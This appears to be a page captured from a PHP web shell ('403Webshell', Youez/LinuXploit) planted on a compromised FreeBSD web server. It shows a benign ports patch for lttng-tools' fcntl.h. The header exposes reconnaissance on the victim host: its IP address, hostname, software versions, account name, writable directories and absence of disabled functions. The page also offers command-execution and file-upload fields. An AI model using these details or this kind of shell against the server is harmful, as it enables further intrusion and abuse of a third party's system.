403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/sysutils/lttng-tools/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/sysutils/lttng-tools/files/patch-src_common_compat_fcntl.h
--- src/common/compat/fcntl.h.orig	2016-11-29 22:48:37 UTC
+++ src/common/compat/fcntl.h
@@ -22,11 +22,15 @@
 #include <errno.h>
 #include <sys/types.h>
 
-#if (defined(__FreeBSD__) || defined(__CYGWIN__))
+#if ((defined(__FreeBSD__) && __FreeBSD__ < 11) || defined(__CYGWIN__))
 typedef long long off64_t;
 #endif
 
-#if (defined(__FreeBSD__) || defined(__sun__))
+#if defined(__FreeBSD__)
+typedef off_t loff_t;
+#endif
+
+#if defined(__sun__)
 typedef off64_t loff_t;
 #endif
 
@@ -69,15 +73,6 @@ static inline ssize_t splice(int fd_in, 
 }
 #endif
 
-#ifdef __FreeBSD__
-#define POSIX_FADV_DONTNEED 0
-
-static inline int posix_fadvise(int fd, off_t offset, off_t len, int advice)
-{
-	return -ENOSYS;
-}
-#endif
-
 #if !(defined(__linux__) || defined(__FreeBSD__) || defined(__CYGWIN__) || defined(__sun__) || defined(__APPLE__))
 #error "Please add support for your OS."
 #endif /* __linux__ , __FreeBSD__, __CYGWIN__, __sun__, __APPLE__ */

Youez - 2016 - github.com/yon3zu
LinuXploit